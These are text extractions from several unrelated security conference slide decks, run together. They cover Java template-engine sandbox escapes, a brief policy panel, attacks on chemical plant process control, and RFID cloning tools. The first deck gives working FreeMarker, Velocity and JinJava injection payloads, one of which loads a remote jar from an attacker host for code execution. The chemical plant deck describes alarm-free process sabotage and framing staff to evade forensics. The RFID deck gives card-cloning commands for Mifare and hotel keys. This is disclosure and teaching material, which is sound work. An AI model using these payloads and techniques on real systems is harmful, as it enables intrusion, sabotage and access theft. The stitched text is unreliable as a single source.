org.springframework.web.context.support.ServletContextScope
●
org.springframework.web.servlet.support.RequestContext
●
org.apache.felix.framework.BundleContextImpl
●
org.eclipse.osgi.internal.framework.BundleContextImpl
●
com.liferay.portal.kernel.json.JSONFactoryUtil
●
freemarker.ext.beans.BeansWrapper.getStaticModels
●
com.opensymphony.xwork2.ognl.OgnlUtil
●
com.opensymphony.xwork2.ognl.OgnlValueStack
●
com.opensymphony.xwork.DefaultActionInvocation
●
com.opensymphony.webwork.util.VelocityWebWorkUtil
●
com.thoughtworks.xstream.XStream
●
org.apache.camel.CamelContext
●
...
Other Interesting Objects
52
Specific Sandbox
Bypasses
53
Previous Research
●
James Kettle (PortSwigger) 2015
○
?new() built-in (default configuration)
○
https://portswigger.net/research/server-side-template-injection
●
Toni Torralba (Ackcent) 2019
○
Arbitrary object instantiation
○
Depends on non-default built-in and 3rd party library
○
https://ackcent.com/blog/in-depth-freemarker-template-injection/
●
Ryan Hanson (Atredis Partners) March 2020
○
RCE vía File Write on Tomcat server
○
https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md
FreeMarker Sandbox
${"freemarker.template.utility.Execute"?new()("id")}
FreeMarker
54
Sandbox is based on method blocklist
●
Example java.lang.Class.getClassLoader is blocked
○
class.protectionDomain.classLoader
○
servletContext.classLoader
○
...
●
ClassLoader methods are allowed
○
loadClass()
○
getResource()
○
...
●
Reflective access to public fields is allowed
○
Setting values is forbidden but ..
○
Reading them is ok
FreeMarker
55
http://attack.er
RCE on FreeMarker + URLClassLoader (Tomcat, GlassFish, Jetty …)
<#assign urlClassloader=car.class.protectionDomain.classLoader>
<#assign urls=urlClassloader.getURLs()>
<#assign url= urls[0].toURI().resolve("https://attack.er/pwn.jar").toURL()>
<#assign pwnClassLoader=urlClassloader.newInstance(urls+[url])>
<#assign VOID=pwnClassLoader.loadClass("Pwn").getField("PWN").get(null)>
FreeMarker
pwn.jar
public class Pwn {
static { <PAYLOAD> }
public static String PWN = "FOO";
}
56
CodeQL Gadget Query
CodeQL lets you query and reason about code:
Find me public static fields that can instantiate arbitrary types!
FreeMarker
57
FreeMarker
58
RCE on FreeMarker
Fixed in 2.30 which introduces a new sandbox based on MemberAccessPolicy.
Default policy improves the blocklist and forbids access to ClassLoader methods and public
fields through reflection. Legacy policy is still vulnerable
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("<SYSTEM CMD>")}
FreeMarker
59
If Spring Beans are accessible, we can normally disable the sandbox:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("id")}
FreeMarker
60
8 different ways to
escape the Sandbox
DEMO
Class & Package-based Blocklist
Velocity Sandbox
introspector.restrict.packages = java.lang.reflect
introspector.restrict.classes = java.lang.Class
introspector.restrict.classes = java.lang.ClassLoader
introspector.restrict.classes = java.lang.Compiler
introspector.restrict.classes = java.lang.InheritableThreadLocal
introspector.restrict.classes = java.lang.Package
introspector.restrict.classes = java.lang.Process
introspector.restrict.classes = java.lang.Runtime
introspector.restrict.classes = java.lang.RuntimePermission
introspector.restrict.classes = java.lang.SecurityManager
introspector.restrict.classes = java.lang.System
introspector.restrict.classes = java.lang.Thread
introspector.restrict.classes = java.lang.ThreadGroup
introspector.restrict.classes = java.lang.ThreadLocal
...
Velocity
62
Blocklist checks are performed on current object class rather than inspecting the class
hierarchy. eg:
Velocity
${request.servletContext.classLoader.loadClass("CLASS")}
Fixed in version 2.3
63
Blocklist checks are performed on current object class rather than inspecting the class
hierarchy. eg:
Velocity
$request.servletContext.classLoader.loadClass("CLASS").<static_method>()
Fixed in version 2.3
64
Method-based blocklist
JinJava Sandbox
Forbids any methods returning a java.lang.Class
However, it is still possible to invoke methods that return java.lang.Class arrays or maps
RESTRICTED_METHODS = builder()
.add("clone")
.add("hashCode")
.add("getClass")
.add("getDeclaringClass")
.add("forName")
.add("notify")
.add("notifyAll")
.add("wait").build();
…
result = super.invoke(..., method, ...);
if (result instanceof Class) {
throw new MethodNotFoundException();
}
…
JinJava
65
“Secret” keyword to access the underlying interpreter/engine:
We can use the int3rpr3t3r to access:
●
all context objects
●
exposed functions
●
exposed filters
JinJava
66
We can access java.lang.Class instances via:
java.lang.reflect.Method.getParameterTypes() ➔ java.lang.Class[]
{% set ctx = ____int3rpr3t3r____.getContext() %}
{% set a_class = ctx.getAllFunctions().toArray()[0].getMethod().getParameterTypes()[0] %}
{% set cl = a_class.getProtectionDomain().getClassLoader() %}
Fixed in 2.5.4 (CVE-2020-12668)
JinJava
67
68
Pebble Sandbox
Conclusions
69
Results:
●
30+ new vulnerabilities
○
CVE-2020-0971, CVE-2020-0974, CVE-2020-1069, CVE-2020-1103, CVE-2020-1460,
CVE-2020-1147, CVE-2020-1444, CVE-2020-1961, CVE-2020-4027, CVE-2020-5245,
CVE-2020-9296, CVE-2020-9297, CVE-2020-9496, CVE-2020-10199, CVE-2020-10204,
CVE-2020-11002, CVE-2020-11994,CVE-2020-12668, CVE-2020-12873, CVE-2020-13445 …
●
20+ affected products
70
Conclusions
#BHUSA @BLACKHATEVENTS
●
CMS should be on Red Teams radars
●
Template for dynamic content could be a
direct path to RCE for attackers
●
Perform security reviews and reduce
attack surface as much as possible
71
Takeaways
Thanks!
@pwntester
@OlekMirosh
72 | pdf |
Rep.%Jim%Langevin
D-Rhode(Island,(2nd District
US%House%of%Representatives
@JimLangevin
Rep.%William%Hurd
R-Texas,(23rd District
US%House%of%Representatives
@HurdOnTheHill
Bridging'the'Gap'Between'DC'and'DEF'CON
#DC2DEFCON
Joshua%Corman
Founder,(I(Am(The(Cavalry
Director,(Cyber(Statecraft(Initiative
Atlantic%Council
@joshcorman
www.iamthecavalry.org
@iamthecavalry
Safer | Sooner | Together
@joshcorman
@IamTheCavalry
HHS Task Force
FDA Guidance
DOJ Work
Group
DOD Strategy
EU Guidance
DOC/NTIA
Guidance
Presidential
Commission
Report
FTC Guidelines
DOT Principles
NHTSA
Guidance
DHS Guidance
Government)has)noticed)in)the)last)18)months…
Rep.%Jim%Langevin
D-Rhode(Island,(2nd District
US%House%of%Representatives
@JimLangevin
Rep.%William%Hurd
R-Texas,(23rd District
US%House%of%Representatives
@HurdOnTheHill
Bridging'the'Gap'Between'DC'and'DEF'CON
#DC2DEFCON
Joshua%Corman
Founder,(I(Am(The(Cavalry
Director,(Cyber(Statecraft(Initiative
Atlantic%Council
@joshcorman | pdf |
Marina Krotofil, Jason Larsen
DefCon 23, Las Vegas, USA
07.08.2015
Rocking the Pocket Book: Hacking Chemical
Plants for Competition and Extortion
Who we are
Hacker
(Ex)Academic
Got hooked on cyber-
physical hacking
Dragged into academic world
against own will
Motivation
Industrial Control Systems
Industrial Control Systems aka SCADA
Physical
application
Curtesy: Compass Security Germany GmbH
Industry means big business
Big business == $$$$$$$
Industrial Control Systems
Some horrible
physical
consequences
010011011011101
Missing piece
of knowledge
How do we do it??
Source: simentari.com
Typical understanding of SCADA hacking
What can be done to the process
Compliance violation
Safety (occupational,
environment)
Pollution (environment)
Contractual agreements
Production damage
Product quality and
product rate
Operating costs
Maintenance efforts
Equipment damage
Equipment overstress
Violation of safety limits
Attack considerations
Equipment damage
o Comes first into anybody’s mind (+)
o Irreversible ( )
o Unclear collateral damage (-)
o May transform into compliance
violation, e.g. if it kills human (-)
Compliance violation
Production damage
Equipment damage
Compliance violation
o Compliance regulations are public knowledge (+)
o Unclear collateral damage (-)
o Must be reported to the authorities ( )
o Will be investigated by the responsible agencies (-)
±
±
Here’s a plant. What is the plan?
Attack goal: persistent economic damage
Process control
Running upstairs to turn on your
furnace every time it gets cold
gets tiring after a while so you
automate it with a thermostat
(Nest because it’s so cute!)
Process control automation
Set point
Control loop
Actuators
Control
system
Physical process
Sensors
Measure process
state
Computes control
commands for
actuators
Adjust themselves
to influence
process behavior
Control system
Jacques Smuts „Process Control for Practitioners“
Termostat
controller
+
Error in desired
temperature
e(t) = SP - PV
Heat loss
(e.g. through windows)
Heat into house
Set point (SP)
Furnace
fuel valve
House
heating
system
Temperature
sensor
-
Desired temp
Measured temp
(Process variable, PV)
Controller output, CO
Signal to actuator
(valve)
Adjusted fuel
flow to furnace
Control equipment
In large –scale operations control logic gets more complex
than a thermostat
One would need something bigger than a thermostat to
handle it
Most of the time this is a programmable logic controller (PLC)
1.
Copy data from inputs to temporary storage
2.
Run the logic
3.
Copy from temporary storage to outputs
Inputs
Outputs
PLC internals
Sensors
Actuators
If Input 1 and (Input 4 or Input 11)
then Output 6
Control logic
If tank pressure in PLC 1 > 1800
reduce inflow in PLC 3
It is programmed graphically most of the time
(We hear you screaming: Noooo!!!!
Just give me a real language!)
PID: proportional, integral, derivative – most widely used control
algorithm on the planet
The sum of 3 components makes the final control signal
PI controllers are most often used
Jacques Smuts „Process Control for Practitioners“
PID control
Wires are run from sensors and
actuators into wiring cabinets
Communication media
o
4-20 mA
o
0-10 v
o
Air pressure
Usually process values are
scaled into meaningful
data in the PLC
Field communication
PLC cannot do it alone
PLC does not have the complete picture and time trends
Human operators watch the process 7/24
Most important task: resolving of alarms
IT hacking vs. OT hacking
Example: attack on process data flow
Data integrity: packet injection;
replay; data manipulation; …
DoS: DoS; DDoS; flooding;
starvation;….
I am not
controlling the
process!!
Operator
Net. Admin
PLC
Frequency
converter
Centrifuge
Engineering
station
Linkage to cyber assets
HMI
DB
Data flow
Controllability
Observability
OT security
OT hacking
An attacker with an objective beyond simple mayhem will
want to reliably manipulate the process
This is achieved by obtaining and remaining in control of the
process
To remain in control you need to apply control theory fu.
(not sql-injections, no XSS or ROP)
Process operator and hacker rival for
control over the process
Process-related security properties
HOLY TRINITY
IT domain
Process control
Observability
Controllability
Operability
Process-related security properties
HOLY TRINITY
Observability
Controllability
Operability
Information security
Process control security
CIA
CO2
Haters gonna hate…
Approaches to attacker control
Reliably control the process throughout the attack
Control the process until failure is guaranteed and then
let it run out of control
Make the process unusable by messing with the
controls
1
2
3
Consider a car and a driver
Attacker has control of the brakes
Attacker applies the left front brake
Diver steers right eventually coming
back into a straight line
Attacker applies the left brake
Driver responds by steering to the
right until the car is straight again
Consider a car and a driver
The attacker responds by swapping brakes whenever the
driver starts to compensate
Eventually the attacker will win since a computer is faster
than a human
Multi-adaptive
In the example above, the human is the
“hidden actor” in the process that can’t
be modeled or predicted
Any subset of a process can be modeled
as a “hidden actor” and potentially
destabilized
We call the algorithms that counter the
feedback loops in the process “multi-
adaptive” algorithms
Multi-Adaptive algorithms work just like process control
automatic tuning programs except they try to maximize
the error instead of minimizing it
The algorithm learns the behavior of the hidden actor
and then compensates for it
Controlled uncontrollability
A single algorithm can be used as a
payload to disrupt many types of processes
o Crash a car or overpressure a loop
Everything the control loop does makes
things worse
Get the party started!
Plants for sale
From LinkedIn
More plants offers:
http://www.usedplants.com/
Car vs. plant hacking
It is not about the size
It is about MONEY
Plants are ouch! how expensive
Vinyl Acetate Monomer plant (model)
Stages of cyber-physical attacks
Attack payload
Attack
objective
Cyber-physical
payload
Stages of SCADA attack
Control
Access
Discovery
Cleanup
Damage
Control
Access
Discovery
Cleanup
Damage
Stages of SCADA attack
Control
Access
Discovery
Cleanup
Damage
Stages of SCADA attack
Access
Traditional IT hacking
• 1 0day
• 1 Clueless user
• Repeat until done
• AntiVirus and patch management
• Database links
• Backup systems
• No security
• Move freely
Exploit kit
Modern IT hacking
Select a vulnerability from the list of
ICS-CERT advisories
Scan Internet to locate vulnerable
devices
Exploit
•
E. Leverett, R. Wightman. Vulnerability Inheritance in Programmable Logic Controllers (GreHack‘13)
•
D. Beresford. Exploiting Siemens Simatic S7 PLCs . Black Hat USA (2011)
Converts analog signal into digital
Sensors pre-process the measurements
IP-enabled (part of the “Internet-of-Things”)
Computational
element
Sensor
Smart instrumentation
Old generation
temperature sensor
Invading field devices
Jason Larsen at Black Hat’15 “Miniaturization”
o
Inserting rootkit into firmware
Water flow
Shock wave
Valve
Physical
Reflected shock wave
Valve closes
Shockwave
Reflected wave
Pipe
movement
Attack scenario: pipe damage with
water hammer
Discovery
Stripper is...
Know the equipment
Stripping column
Process discovery
What and how the
process is producing
How it is build
and wired
How it is
controlled
Espionage, reconnaissance
Target plant and third parties
Operating and
safety constraints
Espionage
Industrial espionage has started LONG time ago (malware
samples dated as early as 2003)
Process discovery
Refinement
Reaction
Max economic damage?
Final
product
Requires input of subject matter experts
Understanding points and logic
Piping and instrumentation diagram
Ladder logic
Programmable Logic Controller
Pump in the plant
Understanding points and logic
Piping and instrumentation diagram
Ladder logic
Programmable Logic Controller
Pump in the plant
HAVEX: Using OPC, the malware component
gathers any details about connected devices
and sends them back to the C&C.
CC
1
PC
TC
LC
2
3
LC
4
PC
5
6
TC
7
LC
8
TC
9
TC
11
LC
12
TC
14
TC
16
CC
CC
17
18
TC
19
CC
LC
25
20
TC
21
TC
LC
LC
24
22
23
26
15
13
10
Understanding control structure
Control
loop
Control loop configuration
Watch the flows!
fixed
HAc flows into two sections. Not good :(
Obtaining control != being in control
Obtained controls might not be
useful for attack goal
Attacker might not necessary be
able to control obtained controls
WTF ???
Control Loop
XMV{1}
XMV{2}
XMV{3}
Control
Every action has a reaction
Physics of process control
Once hooked up together, physical
components become related to each
other by the physics of the process
If we adjust a valve what happens to
everything else?
o
Adjusting temperature also increases
pressure and flow
o
All the downstream effects need to be
taken into account
How much does the process can be changed before
releasing alarms or it shutting down?
Process interdependencies
Process interdependencies
Understanding process response
Controller
Process
Transmitter
Final control
element
Set point
Disturbance
• Operating practice
• Control strategy
• Sizing
• Dead band
• Flow properties
• Type
• Duration
• Sampling frequency
• Noise profile
• Filtering
• Control algorithm
• Controller tuning
• Equipment design
• Process design
• Control loops coupling
Understanding process response
Controller
Process
Transmitter
Final control
element
Set point
Disturbance
• Operating practice
• Control strategy
• Sizing
• Dead band
• Flow properties
• Type
• Duration
• Sampling frequency
• Noise profile
• Filtering
• Control algorithm
• Controller tuning
• Equipment design
• Process design
• Control loops coupling
Have extensively
studied
Process control challenges
Process dynamic is highly non-linear (???)
Behavior of the process is known
to the extent of its modelling
o So to controllers. They cannot
control the process beyond their
control model
UNCERTAINTY!
This triggers alarms
Non-liner response
Control loop ringing
Caused by a negative real
controller poles
Makes process unstable and
uncontrollable
Amount of chemical entering
the reactor
Ringing impact
ratio 1: 150
Types of attacks
Step attack
Periodic attack
Magnitude of manipulation
Recovery time
We should automate this process
(work in progress)
Outcome of the control stage
I am 5’3’’ tall
Sensitivity
Magnitude of manipulation
Recovery time
High
XMV {1;5;7}
XMV {4;7}
Medium
XMV {2;4;6}
XMV {5}
Low
XMV{3}
XMV {1;2;3;6}
Reliably useful controls
Outcome of the control stage
Alarm propagation
Alarm
Steady state attacks
Periodic attacks
Gas loop 02
XMV {1}
XMV {1}
Reactor feed T
XMV {6}
XMV {6}
Rector T
XMV{7}
XMV{7}
FEHE effluent
XMV{7}
XMV{7}
Gas loop P
XMV{2;3;6}
XMV{2;3;6}
HAc in decanter
XMV{2;3;7}
XMV{3}
To persist we shall not bring about alarms
The attacker needs to figure out the marginal attack
parameters which (do not) trigger alarms
Damage
How to break things?
Attacker needs one or more attack scenarios to deploy
in final payload
The least familiar stage to IT hackers
o
In most cases requires input of subject matter
experts
Accident data is a good starting point
o Governmental agencies
o Plants’ own data bases
How to break things?
Hacker unfriendly process
Target plant may not have been designed in a
hacker friendly way
o There may no sensors measuring exact values
needed for the attack execution
o The information about the process may be spread
across several subsystems making hacker invading
greater number of devices
o Control loops may be designed
to control different parameters
that the attacker needs to
control for her goal
Measuring the process
• Reactor exit flowrate
• Reactor exit temperature
• No analyzer
FT
TT
Chemical
composition
FT
Measuring
here is too late
Analyzer
Analyzer
Analyzer
Analyzer
“It will eventually
drain with the
lowest holes loosing
pressure last”
“It will be fully
drained in 20.4
seconds and the
pressure curve
looks like this”
Technician
Engineer
Technician vs. engineer
Technician answer
Reactor with cooling
tubes
Usage of proxy sensor
Only tells us whether reaction rate increases or decreases
Is not precise enough to compare effectiveness of different attacks
Quest for engineering answer
0,00073; 0,00016; 0,0007…
Code in the controller
Optimization applications
Test process/plant
Engineering answer
Vinyl Acetate production
Product loss
Product per day: 96.000$
Product loss per day: 11.469,70$
Outcome of the damage stage
Product loss, 24 hours
Steady-state attacks
Periodic attacks
High, ≥ 10.000$
XMV {2}
XMV {4;6}
Medium, 5.000$ - 10.000$
XMV {6;7}
XMV {5;7}
Low, 2.000$ - 5.000$
-
XMV {2}
Negligible, ≤ 2.000$
XMV {1;3}
XMV {1;2}
Product per day: 96.000$
Still might be useful
Clean-up
Socio-technical system
• Maintenance stuff
• Plant engineers
• Process engineers
• ….
Cyber-physical system
Controller
Operator
Creating forensics footprint
Process operators may get concerned after noticing
persistent decrease in production and may try to fix
the problem
If attacks are timed to a particular employee
shift or maintenance work, plant employee
will be investigated rather than the process
Creating forensics footprint
1.
Pick several ways that the temperature can be
increased
2.
Wait for the scheduled instruments calibration
3.
Perform the first attack
4.
Wait for the maintenance guy being
yelled at and recalibration to be repeated
5.
Play next attack
6.
Go to 4
Creating forensics footprint
Four different attacks
Defeating chemical forensics
If reactor doubted, chemical forensics guys will be asked to assist
Know metrics and methods of chemical investigators
Change attack patterns according to debugging
efforts of plant personnel
Operator’s
screens
Regulatory
filings
Point
database
Safety
briefs
Historian
Small
changes to
the process
Realtime
data from
sensors
Safety
systems
SEC filings
Process
experts
Custom
research
Final Payload
Custom
operator
spoofs
Waiting for
unusual
events
Log
tampering
Minimal
process
model
Accident
data
Forensic
footprint
Discovery
Control
Damage
Cleanup
Access
ICCP
Regulatory
reporting
Just-in-time
manufacturing
Wireless
links
Afterword
State-of-the-art of ICS security
TCP/IP
Food for thought
Cost of attack can quickly exceed cost of damage
o Hacking into large number of devices
o Suppression of alarms and process data spoofing
o Badly behaved control loops , synchronization of actions
Each process is unique, but…
o There are instances of attacks applicable to wide range of scenarios
o SCADA payloads for Metasploit is just a matter of time
Dream BIG
Evil villains from James Bond movies unite! Go forth and start
building your evil lairs.
TE: http://github.com/satejnik/DVCP-TE
VAM: http://github.com/satejnik/DVCP-VAM
Damn Vulnerable Chemical Process
Thank you
[email protected]
[email protected] | pdf |
How
to
Train
Your
RFID
Tools
Craig
Young
Security
Researcher
@
Tripwire
VERT
About
Craig
Security
Researcher
in
Tripwire
VERT
Author
of
IP360
content
and
original
research
Identified
100+
CVEs
over
2013
&
2014
Won
1st
SOHOpelessly
Broken
@
DC22
using
10
0-‐days
Research
Objectives
Shed
light
on
the
tools
for
reading,
cloning,
&
emulating
Provide
tutorial-‐like
examples
for
firmware
hacking
Explore
practical
attacks
enhanced
by
3D
printing
Design
antenna
around
3D
printed
form
Identify
uses
of
paired
embedded
kits
Roadmap
Tool
Intros
3D
Printing
101
• Caveats
RFID
Basics
• Tips
&
Tricks
Firmware
Hacking
• Adding
to
Proxmark
3D
Printing
Usage
• Antenna
Design
• Concealing
Devices
Q
&
A
Tool
Intros
CubePro
3D
Printer
NFC
USB
(PN533)
RFIDler
v22
Proxmark3
Raspberry
Pi
USB
Armory
Tools
CubePro
3D
Printer
NFC
USB
(PN533)
RFIDler
v22
Proxmark3
Raspberry
Pi
USB
Armory
RFID
Tools
CubePro
3D
Printer
NFC
USB
(PN533)
RFIDler
v22
Proxmark3
Raspberry
Pi
USB
Armory
Computing
Tools
CubePro
3D
Printer
NFC
USB
(PN533)
RFIDler
v22
Proxmark3
Raspberry
Pi
USB
Armory
Fabrication
Proxmark3
Intro
Adopted
from
Gerhard
de
Koning
Gans’
thesis
Koning
Gans
was
analyzing
Mifare
transit
cards
This
system
combines
cheap
FPGA
and
ARM
CPU
Completely
open
source
HW
and
SW
Low
&
High
Frequency
support
The
Proxmark3
FPGA
Xilinx
Spartan-‐II
Field-‐Programmable
Gate
Array
Written
in
Verilog
for
ISE
WebPACK
Serial
Peripheral
Interface
(SPI)
Coil
driver
Analogue/Digital
Converters
Synchronous
Serial
Port
to
CPU
Module
based
design
Modes
specify
module
connections
Proxmark3
CPU
ATMEL
32-‐bit
RISC
Processor
(AT91SAM7Sxx
Series)
Coded
in
C
Receives
data
from
FPGA
Encoding/decoding
of
bitstream
Handle
USB
data
link
All
high
level
functions
run
here
Proxmark3
ADC
TI
TLC
5540
analog-‐to-‐digital
converter
(ADC)
8-‐bit
resolution
40
Megasamples/sec
(MSPS)
Analog
input
from
coil
8-‐pin
output
to
FPGA
Control
via
SPI
Proxmark3
Connectors
Mini-‐USB
Provides
Power
Data
connection
via
USB-‐Serial
Hirose
Connector
Connection
to
antenna
coil(s)
2
wires
for
LF
and
2
for
HF
Proxmark3
Human
I/O
Single
push
button
Control
PM3
without
serial
Terminate
active
operations
Initiate
firmware
update
Colored
LEDs
(4
total)
Indicate
boot
mode
Stand-‐alone
status
lights
Proxmark
Commands
lf
search
&
hf
search
–
Attempt
to
auto
ID
a
tag
hf
14a
reader
–
Interrogate
ISO14443a
Tag
lf
read;
data
samples
–
Grab
LF
tag
waveform
hf
mf
mifare;
hf
mf
nested
–
Mifare
Classic
Attack
PN533
NFC
USB
Intro
NXP
Chipset
for
Near
Field
Communications
Hardware
implementation
of
ISO
14443
standards
MIFARE
Family
(ISO/IEC
14443A)
NFC
Forum
Type
4
Tag
2.0
(ISO/IEC
14443B)
Sony
Felicity
Tags
(FeliCa
reader/writer)
Peer-‐to-‐Peer
Data
Transfer
(ISO/IEC
18092)
libNFC
Compatible
PN533
Commands
PN533
supports
libNFC
including
these
CLI
tools:
nfc-‐list
–
Basic
Tag
Enumeration
nfc-‐emulate-‐*
–
Emulate
various
tag
nfc-‐mf*
–
Work
with
Mifare
family
tags
nfc-‐relay
–
Use
2
devices
to
perform
a
relay
attack
Additional
functionality
via
scripting
RFIDler
Intro
125kHz-‐134kHz
ASK
and
FSK
reading
and
emulation
V22
Beta
Obtained
at
DEF
CON
22
(coil
not
pictured)
Annotated
RFIDler
Digital
POTs
for
threshold
tuning
USB
Serial
Interface
LED
indicators
PIC32
for
main
guts
USB
Powered
RFIDler
Commands
AUTOTAG
–
Demodulate
tag
as
each
known
type
SET
TAG
–
Switch
between
tag
formats
POTSET
-‐
Adjust
potentiometer
thresholds
READER
–
Realtime
demodulation/decoding
LATE
COMER:
The
ChameleonMini
Developed
by
Chair
for
Embedded
Security
of
the
Ruhr-‐
University
in
Bochum,
Germany
ISO14443
and
ISO15693
compliant
emulator
Simulates
contactless
smartcards
with
hardware
Create
perfect
virtualized
clones
of
a
tag
Started
shipping
from
RyscCorp
in
July
(hot
off
the
press)
ChameleonMini
USB
PDI
headers
Power
and
CDC
data
(LUFA)
Raspberry
Pi
&
USB
Armory
Embedded
ARM
dev
kit
SD
Card
Storage
USB
Power
&
Data
Thumb-‐drive
ARM
computer
USB
Host
or
Guest
via
OTG
MicroSD
Storage
3D
Printer
Intro
CubePro
with
70,
200,
or
300
micron
layer
options
ABS
and
PLA
support
with
Nylon
‘coming
soon’
11.2”
x
10.6”
x
9.06”
build
volume
Up
to
3
print
jets
for
complex
builds
CubePro
3D
Printer
Steps
3D
CAD
model
is
sliced
by
CubePro
software
into
layers
Build
plate
receives
a
coating
of
water-‐soluble
glue
Gears
feed
filament
into
extruder
moving
on
X
&
Y
Extruder
moves
on
X
and
Y;
plate
moves
on
Z
for
layers
Glue
dissolves
in
water
and
model
can
be
pried
away
Calibration
can
be
time
consuming
and
tricky
Extruders
prone
to
jams/clogs
clogged
Industrial
design
is
tricky
Physical
limitations
Materials
science
Printing
Caveats
RFID
Basics
Low-‐Frequency:
125kHz
–
134
kHz
Access
Control
Proximity
Cards:
HID,
Indala,
AWID,
etc
Pet
chips
/
implantable:
AVID,
Fecava,
ISO
11784/11785
High-‐Frequency:
13.56MHz
Access
control:
HID
iCLASS,
NXP
Mifare
family
NFC:
Contactless
payment,
bluetooth
pairing,
etc.
IDs:
ePA
(German
ID
card),
passports,
etc
What’s
in
an
RFID
Tag
Tuned
coil
+
LC
=
Passive
RFID
Tag
Coil
tuned
to
carrier
frequency
(e.g.
125kHz)
Reader
energizes
coil
to
power
chip
Chip
modulates
signal
by
adjusting
damping
Damping
controls
how
the
circuit
resonates
Common
Modulations
• Frequency
Shift
Keying
FSK
• Phase
Shift
Keying
PSK
• Amplitude
Shift
Keying
ASK
• On/Off
Keying
OOK
LF
Cloning
(T55xx)
Low-‐Frequency
tag
with
configurable
properties
Modulation:
FSK/PSK/ASK
Encoding:
Manchester/Biphase
8
4-‐byte
storage
blocks
1
Config
Block
(0)
7
Bitstream
Blocks
(1-‐7)
T5557
Block
0
Config
T5557
Block
0
(from
datasheet)
Proxmark:
lf
search
Identify
unknown
tag
lf
search
:
Automated
LF
Tag
Detection
Step
1:
lf
read
s
Step
2:
data
samples
30000
Step
3..n:
Test
each
data
*demod
command
until
success
Proxmark:
lf
search
Identify
unknown
tag
Proxmark
Demodbuffer
Extract
Tag
Bitstream
DemodBuffer
is
the
raw
demodulated
tag
data
Data
can
be
split
into
4-‐byte
blocks
for
T55xx
Bitstream
starts
with
block
1
Proxmark
Demodbuffer
Print
Tag’s
Demodulated
Bitstream
Block 1
Block 2
Block 3
0x1D555555
0xA6A999A6
0x9AA9A9AA
Setting
T55xx
Config
Option
1:
Determine
block
0
manually
via
datasheets
Option
2:
Refer
to
excellent
thread
at
proxmark.org
http://www.proxmark.org/forum/viewtopic.php?id=1767
HID
Tag
uses:
0x00107060
3
Blocks
FSK
2a
Modulation
RF/50
Data
Rate
Proxmark:
T55xx
Writes
Programming
a
T5557
Card
with
HID
37
deadbeef
Proxmark:
HID
Reading
Trust
But
Verify
(with
lf
hid
fskdemod)
What
is
Mifare?
MiFare
is
a
family
of
tags
not
just
a
single
tag
type
MiFare
Classic
MiFare
Ultralight
(and
variations)
MiFare
DESFire
(and
variations)
Others?
Tags
support
encryption
in
various
capacities
All
tags
have
a
UID
and
sometimes
that’s
all
that
matters
Mifare
is
used
everywhere
(trains,
payment
cards,
hotels,
smartphone
tags,
etc)
Mifare
Classic
Cracking
The
result
is
complete
key
pwn
in
under
1
minute
Once
any
key
is
known,
nested
attacks
are
possible
Processes
exist
to
recover
keys
from
Mifare
Classic
“Magic”
Cards
Normally
read-‐only
UID
is
read-‐write
instead
www.CloneMyKey.com
(fast
and
reliable)
eBay
“UID
Changeable”
(one
vendor
took
6+
weeks)
Allows
complete
duplication
of
some
card
types
I
have
succeeded
with
Classic
1K
and
Ultralight
cards
This
is
why
UID
must
not
be
used
as
a
secure
token
libNFC
Cloning
Example
NXP
PN533
w/
libNFC
and
“Magic”
Mifare
Ultralight
nfc-‐mfultralight
r
dump.mfd
Create
Mifare
dump
of
target
card
nfc-‐mfultralight
w
source.mfd
Write
contents
of
source.mfd
to
changeable
tag
Tested
with
key
from
CloneMyKey.com
Cloneable
Stuff
Hotel
Contactless
Key
Cards
Several
hotels
are
using
insecure
MIFARE
variants
EMV
Legacy
Transactions
(Peter
Fillmore,
BH
US
2015)
Due
to
support
for
contactless
‘legacy’
modes
Android
‘Smart
Unlock’
tags
&
some
home
NFC
locks
Systems
only
validate
UID
which
is
easy
to
spoof
Hotel
Card
Clone
Demo
Firmware
Hacking
Stand-‐Alone
NFC
• Capture
Tags
• Clone
UID
• Replay
UID
Proxmark3
LF
Stand-‐Alone
Default
PM3
standalone
operation
flow
from
ProxBrute
whitepaper
Stand-‐Alone
Design
Using
ARM
CPU
for
independent
operation
• armsrc/appmain.c
runs
after
init
• SamyRun()
is
invoked
based
on
BUTTON_HELD(1000)
CmdHIDdemodFSK
and
related
functions
used
• Capture/Replay/T55x7
Clone
toggle
with
button
• Visual
indication
through
LED
changes
Proxmark3
HF
Stand-‐Alone
Goal
is
reproducing
the
LF/HID
functions
for
HF
Focus
is
on
the
popular
Mifare
card
formats
Initial
support
for
UID
value
only
Demonstrates
insecure
use
of
UID
for
authentication
Cloning
to
changeable
(magic)
Mifare
Classic
only
Support
for
other
tags
can
be
added
easily
Offline
HF
Read
(code)
iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD)
iso14443a_select_card(uid,
NULL,
&cuid)
Return
true
means
that
a
card
select
succeeded
Offline
HF
Sim
(code)
UID
is
split
into
2
4
byte
values
with
valid
byte
order
SimulateIso14443aTag(1,uid_1st,uid_2nd,NULL)
UID
only
simulation
(i.e.
data
support
later?)
Offline
HF
Clone
Goal
is
to
just
set
recorded
UID
on
new
tag
MiFare
Classic
support
only
initially
• hf
mf
csetuid
<UID>
Useful
for
systems
relying
on
UID
for
auth
• Samsung
NFC
locks,
Smartphone
unlock
tags,
etc.
New
Flow
HF
Stand-‐Alone
Demo!
Firmware
Hacking
Extending
AWID
• Reader
Mode
• Sim
from
IDs
• Clone
from
IDs
Adding
PM3
Commands
Target:
‘lf
awid’
Proxmark3
context
fskdemod
–
Real-‐time
demodulation
for
AWID
tag
clone
–
Prepare
T55xx
card
based
on
specified
ID
sim
–
Tag
emulation
based
on
ID
PM3
had
no
AWID26
code
until
this
year
fskawiddemod
added
2015
No
lf
awid
context
was
added
Looked
like
a
good
place
to
contribute
AWID26
8-‐bit
Facility
&
16-‐bit
card
number
printed
on
tag
125kHz
FSK2a
(RF/50
data
rate)
FSK
Logic
0:
8
cycles,
FSK
Logic
1:
10
cycles
www.proxclone.com/pdfs/AWID_FSK_Format.pdf
96-‐bit
transmission
Every
4th
bit
is
a
parity
bit
2
more
parity
bits
for
wiegand
validation
Command
Structure
Commands
